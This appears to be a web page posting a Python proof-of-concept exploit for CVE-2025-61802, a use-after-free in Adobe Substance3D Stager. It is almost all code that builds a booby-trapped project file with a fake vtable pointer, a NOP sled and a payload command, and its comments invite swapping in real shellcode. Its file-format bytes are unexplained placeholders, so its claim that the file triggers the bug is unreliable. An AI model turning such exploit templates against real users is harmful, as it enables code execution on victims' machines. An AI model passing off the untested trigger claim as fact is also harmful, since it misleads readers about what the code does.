CVE-2025-61802：Adobe Substance3D Stager释放后重用漏洞

# CVE-2025-61802 - Adobe Substance3D Stager Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability exploitation approach # Actual exploitation requires crafting a malicious Substance3D Stager project file import struct import os # Malicious Substance3D Stager project file generator # The vulnerability is triggered when parsing specific scene/object data structures class Substance3DStagerUAFExploit: """ PoC for CVE-2025-61802 - Use After Free in Adobe Substance3D Stager The vulnerability exists in the scene rendering engine when processing specific 3D object references in .sbsar or project files. Attack vector: Local file with user interaction """ def __init__(self, payload_cmd="calc.exe"): self.payload_cmd = payload_cmd self.magic_header = b"SBSC" # Substance3D container magic self.version = struct.pack("<I", 0x03010400) # Version 3.1.4 def build_malicious_header(self): """Build file header that triggers UAF during parsing""" header = bytearray() header += self.magic_header header += self.version # Chunk type for scene objects - triggers UAF header += struct.pack("<I", 0x0B0B0B0B) # Object reference count - designed to cause premature free header += struct.pack("<I", 0x00000001) return bytes(header) def build_uaf_trigger(self): """ Build the payload section that triggers the Use After Free. The key is creating an object reference that will be freed but still accessed during scene rendering. """ trigger = bytearray() # Object header - marks object for deferred rendering trigger += struct.pack("<I", 0xDEADBEEF) # Reference to object that will be freed prematurely trigger += struct.pack("<Q", 0x4141414141414141) # Fake vtable pointer for code execution hijack trigger += struct.pack("<Q", 0x4242424242424242) # Shellcode placeholder (would be replaced with actual shellcode) trigger += b"\x90" * 256 # NOP sled trigger += self.payload_cmd.encode() + b"\x00" return bytes(trigger) def generate_poc_file(self, output_path="exploit.sbsc"): """Generate the malicious project file""" poc_data = bytearray() poc_data += self.build_malicious_header() poc_data += self.build_uaf_trigger() # Add padding to reach realistic file size poc_data += b"\x00" * 4096 with open(output_path, "wb") as f: f.write(poc_data) print(f"[*] PoC file generated: {output_path}") print(f"[*] File size: {len(poc_data)} bytes") print(f"[*] Payload command: {self.payload_cmd}") print(f"[!] WARNING: This file will trigger CVE-2025-61802 when opened") print(f"[!] in Adobe Substance3D Stager <= 3.1.4") print(f"[!] Use only for authorized security testing.") if __name__ == "__main__": # Generate PoC - replace with actual shellcode for real exploitation exploit = Substance3DStagerUAFExploit(payload_cmd="whoami") exploit.generate_poc_file("CVE-2025-61802_poc.sbsc")